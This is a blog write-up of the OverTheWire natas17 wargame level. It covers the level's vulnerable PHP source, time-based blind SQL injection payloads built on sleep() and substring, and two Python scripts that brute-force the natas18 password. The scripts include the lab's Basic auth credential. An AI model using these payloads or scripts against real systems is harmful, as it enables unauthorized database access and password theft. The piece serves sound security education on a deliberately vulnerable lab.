Performing a time-based SQL injection

Angel Mercado
Learning CyberSecurity
6 min readOct 13, 2023

Introduction

I am currently working through the overthewire natas challenges and found natas17 to be a really interesting and fun challenge. In this challenge we are tasked with performing a time-based SQL injection. A time-based SQL injection is a blind injection technique where an attacker forces the database to wait a pre-determined amount of time, evaluating the response time to determine if an injected query is true or false.

Exploring the application

Natas17 Homepage:

Upon navigating to the homepage, we are presented with a simple text box which presumably allows us to test the existence of a particular user. However the application returns no output when anything is entered in the text box. Let’s take a look at the source code to figure out why.

<?php

/*
CREATE TABLE `users` (
`username` varchar(64) DEFAULT NULL,
`password` varchar(64) DEFAULT NULL
);
*/

if(array_key_exists("username", $_REQUEST)) {
$link = mysqli_connect('localhost', 'natas17', '<censored>');
mysqli_select_db($link, 'natas17');

$query = "SELECT * from users where username=\"".$_REQUEST["username"]."\"";
if(array_key_exists("debug", $_GET)) {
echo "Executing query: $query<br>";
}

$res = mysqli_query($link, $query);
if($res) {
if(mysqli_num_rows($res) > 0) {
//echo "This user exists.<br>";
} else {
//echo "This user doesn't exist.<br>";
}
} else {
//echo "Error in query.<br>";
}

mysqli_close($link);
} else {
?>

<form action="index.php" method="POST">
Username: <input name="username"><br>
<input type="submit" value="Check existence" />
</form>
<?php } ?>

Looking at the source code we see that there should be output in three cases, first when the user exists, second when the user does not exist and third when there is an error in the SQL query. These lines have however been commented out. Meaning that even if we enter a correct username there will be no output displayed.

Looking at the SQL query in particular we notice that there is no filtering of user input, meaning we can inject our own SQL query by inserting the ” character and then commenting out the rest of the query. We can try and determine if a user exists by adding in a sleep(5) command to be executed by the server. If the server takes around 5 seconds to respond to the query then we know that the user exists.

Lets test this theory using python with the user natas17

Query: natas17" and sleep(5) #

The server instantly processes the command indicating that this is not the user we are looking for.

Lets try with natas18

Query: natas18" and sleep(5) #

In this case the server takes around 5 seconds to respond meaning we have a valid user. This makes sense since our objective is presumably to get the password for the next challenge, natas18.

In the source code we can see the configuration of the database, we know there is a table called users which we are querying and two columns, username and password. We already know the username so we should now attempt to determine the password. It should be noted that even if these facts were not presented to us, it would still be possible to enumerate the table and column names through a timing based SQL injection.

Assumptions about the password:
We know from previous challenges that natas passwords contain 32 characters of uppercase, lowercase letters and numbers. We could send all possible characters to the server along with a sleep() statement to determine the password, however this would take a long time. We can instead determine which characters are used in the password and then figure out the order in which these characters are used later to speed things up.

Our query for this will look like the following:

username=natas18" and password like binary ‘%CHARHERE%’ and sleep(5) #

Lets break this statement down. We know that natas18 is a valid user so we know this part of the SQL statement will evaluate to true. The second part of the statement uses `like binary` to perform a case sensitive search of the password. If the binary keyword was not used, then the statement would return both u and U even if only the capital version of U is found in the password. The `%%` characters act as a wildcard so it will search for the encased character at any position in the password string.

In summary, this statement will search the password string looking for a single case-sensitive character in the password string. If the character exists in the password string, then the sleep(5) command will execute and we will know the character exists in the password. If we use our knowledge of prior natas passwords we can easily figure out all the possible digits used in natas18’s password.

I originally tried a similar query without using `binary` and after some painful troubleshooting I figured out that in cases where a field has a case-sensitive collation, binary needs to be used otherwise you will get both the uppercase and lowercase value as demonstrated in this post.

Determining the chars

To automate this process we will use Python. In the script we will use a for loop to iterate through each possible char, inserting it into the query and evaluating the response time. If the response time is greater or matches the sleep statement then we know this is a valid character in the password. The requests are sent to BurpSuite so requests/responses can be easily monitored.

#! /usr/bin/python3  
import requests

url = "http://natas17.natas.labs.overthewire.org/index.php"
charset = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890"
headers = {'Authorization': 'Basic bmF0YXMxNzpYa0V1Q2hFMFNibktCdkgxUlU3a3NJYjl1dUxtSTdzZA=='}
known_chars = ""
proxies = {"http" : "http://127.0.0.1:8080"}



# determine the chars in password
for char in charset:
data = {"username" : "natas18\" and password like binary '%" + char + "%' and sleep(2) #"}
x = requests.post(url, headers=headers, data=data, proxies=proxies)
print(char + " response time: " + str(round(x.elapsed.total_seconds())) + " Seconds")
if round(x.elapsed.total_seconds()) >= 2:
known_chars = known_chars + char


print("known chars: " + known_chars)

Script output:

We now have a list of the valid characters used in the password. This on it’s own doesn’t do us much good as they are not in the correct order.

Figuring out the password

To figure out the order in which the characters are used in the password, we will use the following query:

natas18" and if(binary substring(password,1,NUM) = ‘CHAR’, sleep(3), ‘nope’) #

Let’s break this statement down

This injection is similar to the one we performed earlier, only now the substring() function is used to search the password for a char, then multiple chars at a given position. If the character exists at that position then the sleep() command will execute and we will know that the character is in the right place. This along with our known characters will allow us to put all the characters in their right positions, revealing the full password. In case you are wondering why there is ‘nope’ at the end of the command it is because the if statement in SQL requires a value in the event that the statement evaluates to false, because no output is returned, this value doesn’t really matter.

As an example lets assume the password= alf. the subsequent queries when automated will look like this (assuming the server waits ≥= 3 sec).

natas18" and if(binary substring(password,1,1) = ‘a’, sleep(3), ‘nope’) #

natas18" and if(binary substring(password,1,2) = ‘al’, sleep(3), ‘nope’) #

natas18" and if(binary substring(password,1,3) = ‘alf’, sleep(3), ‘nope’) #

Let’s automate this using Python

#! /usr/bin/python3  
import requests

# vars
url = "http://natas17.natas.labs.overthewire.org/index.php"
charset = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890"
headers = {'Authorization': 'Basic bmF0YXMxNzpYa0V1Q2hFMFNibktCdkgxUlU3a3NJYjl1dUxtSTdzZA=='}
known_chars = ""
password = ""
pass_count = 1
proxies = {"http" : "http://127.0.0.1:8080"}



# Determine the chars in password
for char in charset:
data = {"username" : "natas18\" and password like binary '%" + char + "%' and sleep(3) #"}
x = requests.post(url, headers=headers, data=data)
if round(x.elapsed.total_seconds()) >= 3:
known_chars = known_chars + char
print(known_chars)


# Get password
while pass_count <= 32:
for char in known_chars:
data = {"username" : "natas18\" and if(binary substring(password,1," + str(pass_count) + ") = '" + password + char + "', sleep(3), 'nope') #" }
x = requests.post(url, headers=headers, data=data, proxies=proxies)
if round(x.elapsed.total_seconds()) >= 3:
pass_count = pass_count + 1
password = password + char
print(password)

Output:

Finally we get the password for the natas18 user. On to the next challenge!

--

--